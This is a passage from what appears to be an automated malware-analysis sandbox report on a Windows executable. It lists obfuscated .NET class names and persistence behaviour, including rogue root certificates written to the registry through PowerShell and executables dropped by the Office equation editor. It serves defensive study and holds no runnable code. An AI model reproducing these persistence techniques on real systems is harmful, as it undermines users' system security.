Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, FLt5ZqbnRjplMM1mRV.cs High entropy of concatenated method names: 'OEaoj4p6Ys', 'bUUoZTcS4d', 'INpo4PmK1Y', 'IZ8oGtybay', 'Yrko5E60kT', 'HEwow7kQS8', 'M3moNLIYwP', 'Fojoc4iTc1', 'gsVoUlVwBG', 'Ve7onoapbd'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, w7sfGjhxCOpKI2Hm2M.cs High entropy of concatenated method names: 'yumOvgZufS', 'o3lO6rQ7uh', 'sbPTHq4fPy', 'vCATPuWb02', 'pIIOrDLKW0', 'snDOJ6U0gr', 'qFqOKk1IkK', 'zsGOF6oJlN', 'g7GOVsWk8B', 'dAoOYvQ1lb'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, bgVh2BzAtL2EuQnmHR.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'pk3pWvnLxy', 'K4HpaiiR66', 'bnlpB8RSqh', 'PwSpOuKLfx', 'HsspThxL0x', 'i7KppA34Mc', 'dslp3ME4CY'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, DOkRkfKla7d2nWXn0d.cs High entropy of concatenated method names: 'MX2WcoApX9', 'awIWU8e2WY', 'gVqWDNG3Ig', 'wrjWffJHyv', 'lyZW2X3M1C', 'EfHWEHZ9mx', 'tbSWAxdv9c', 'VEVWg1wARx', 'WvjW8XOxXW', 'MteWrEOUlL'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, AxPS6NU4xBdbum4iaG.cs High entropy of concatenated method names: 'zkoMGWSEEl', 'LjTMwExyud', 'JPtMcQxZFg', 'bBJMUPX7Zd', 'MJvManMn6i', 'ggKMBYaHVB', 'oC9MO0LR2n', 'qrfMTRtiMO', 'ikaMpajYAS', 'bf0M3ZrkS9'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, nkQiD6cY1Ydm4FTjxb.cs High entropy of concatenated method names: 'rxkIFvcT9X', 'jcOIVUxJu0', 'idVIY6Wpl2', 'DqdItLOrl5', 'RcWI0WnxxT', 'QGaIhjRhOe', 'Q1GIqrwc1I', 'kO8IvBONHe', 'h0wIRvPnHw', 'IcVI6vD7fO'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, oe3Km7DTgTKGBvcC3S.cs High entropy of concatenated method names: 'Scex7itZ1a', 'krMxIUajhW', 'WAoxlBZMAN', 'hR9xo8OeH8', 'XCoxCvFwtf', 'Rayl0pjCrE', 'R0klhNWoX4', 'H3klqerTNv', 'aC1lv4xu3i', 'MpclR2U3dH'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, A1IKPavVkyxBAQZuM2.cs High entropy of concatenated method names: 'QagTuhRpIP', 'iuiTIIybAn', 'TUgTMN0CRY', 'M2OTl9QPLY', 's9cTxakbyl', 'ghkTouCgWb', 'TiSTCesadA', 'obUTL5B18F', 'z60Te5t9Vx', 'JNgT9Rykqq'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, SXuFQVPsQB87HiA6dN1.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nhi3FQlC0Z', 'Ihd3VS9Sql', 'eHg3Yg8xVv', 'ASW3tAjk1B', 'tsV30MdOAd', 'pye3hhVSqr', 'QSU3qmPvvb'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, d8ukINn1NQVCqVxQjL.cs High entropy of concatenated method names: 'CE6l5ByBSK', 'jAmlN6imED', 'VpCMkyL7ec', 'nsCM2pZudQ', 'cU3MEHc6BB', 't2rMiVj1eh', 'RdnMAgDBYp', 'G7mMgwjQOv', 'xWSMbkHlmK', 'Sl3M8gdhbi'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, QRu7lvPHJ4Jfthlhhtx.cs High entropy of concatenated method names: 'HecpjlAJjF', 'u6OpZKTxUO', 'gb4p4eHqsf', 'WaApGpTln0', 'PLDp5eduKx', 'IJYpwCKTES', 'oN4pNLJKGC', 'OhPpcljpH7', 'iyWpUm8VIA', 'k5Bpn12qEL'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, pbVHJsCgecSXhXNesj.cs High entropy of concatenated method names: 'XVns7YYd64', 'gk9suK4tW4', 'iqosI1Ahmq', 'B34sMTinFP', 'yGnslT6cJu', 'uOesxApms1', 'IQZsoqlBYD', 'ctasCPOlT0', 'arosLC0xTI', 'HHbseOLoCK'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, pE7g6sAN1if5hfhCiK.cs High entropy of concatenated method names: 'bbgouYl8De', 'boxoMRc0sQ', 'wBvoxXtFSR', 'tpRx6PwpOm', 'VRLxzZd62H', 'xlJoHIhLv7', 'iBsoPSrTMV', 'kt1o10RlEx', 'YG1osMXSe3', 'FhSoXQq0hT'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, zcJu9C6JCFbkvaDEP2.cs High entropy of concatenated method names: 'sBSpPRoUWj', 'v3vpsTJeju', 'FXTpX0rqbk', 'I8wpuhaIk3', 'gUnpI1eyv8', 'BCmplMBKpZ', 'b3lpxlFJUF', 'XsSTqtU29p', 'EvNTv4nvcU', 'rK3TR9xRR2'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, OxVbcfFYjHQZCnPtSc.cs High entropy of concatenated method names: 'iuya8y4NAd', 'tCDaJsm5Li', 'AjbaFXqHYZ', 'a3CaV7bQXL', 'fnnafbsDW9', 'hMuak9Jqft', 'Bp0a2SMK5p', 'BL1aESxrOe', 'y9Rai4KiyZ', 'yqHaAJUd24'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, Vri5Y0X3Mvj8QeZPU3.cs High entropy of concatenated method names: 'uLWPokQiD6', 'S1YPCdm4FT', 'C4xPeBdbum', 'ziaP9GX8uk', 'SxQPajLae3', 'Qm7PBTgTKG', 'rnQZCCh0wCxJpXER3h', 'Bi2bHbSHCynpkvrkHt', 'RyLPPat0KD', 'ciZPsa8Tdu'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, ORv0Vf1MXaCwqJj3AO.cs High entropy of concatenated method names: 'M8a4S0T1A', 'QANG02vIj', 'DTNweXmE7', 'sanNBUiQK', 'sfjUKgcJ8', 'Bl3nr80sk', 'gQQRpnyf80he2jpcWd', 'Qoi4H3nYbSufOefLo2', 'EiETYQF9m', 'Om03b4vCA'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, ay0RdqRtsqlCqsp4Jt.cs High entropy of concatenated method names: 'WeYTDG5KTM', 'J4QTf4nFNe', 'v4ATksmPf6', 'ki0T2UQ0rc', 'IWHTFiAXji', 'qnITEuCdgs', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, Eg2Qf0Mvy91CloiMEy.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'mY41RK24rR', 'SpG16nV9i8', 'fEW1zpf1lZ', 'hqisHMPsD9', 'cqssPbXsVr', 'YJgs14GO0O', 'OkGss3OiBw', 'XVpyUEY0fKZHIVbygfx'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, IjiV83IwFQ2LWBkWZL.cs High entropy of concatenated method names: 'Dispose', 'DllPRhQ8dw', 'cFu1fDNHD2', 'ye3vvGqc1V', 'p51P6IKPaV', 'IyxPzBAQZu', 'ProcessDialogKey', 'g2P1Hy0Rdq', 'Tsq1PlCqsp', 'zJt114cJu9'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, FLt5ZqbnRjplMM1mRV.cs High entropy of concatenated method names: 'OEaoj4p6Ys', 'bUUoZTcS4d', 'INpo4PmK1Y', 'IZ8oGtybay', 'Yrko5E60kT', 'HEwow7kQS8', 'M3moNLIYwP', 'Fojoc4iTc1', 'gsVoUlVwBG', 'Ve7onoapbd'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, w7sfGjhxCOpKI2Hm2M.cs High entropy of concatenated method names: 'yumOvgZufS', 'o3lO6rQ7uh', 'sbPTHq4fPy', 'vCATPuWb02', 'pIIOrDLKW0', 'snDOJ6U0gr', 'qFqOKk1IkK', 'zsGOF6oJlN', 'g7GOVsWk8B', 'dAoOYvQ1lb'
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, bgVh2BzAtL2EuQnmHR.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'pk3pWvnLxy', 'K4HpaiiR66', 'bnlpB8RSqh', 'PwSpOuKLfx', 'HsspThxL0x', 'i7KppA34Mc', 'dslp3ME4CY'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\qHbynE8Vgwabsy3[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
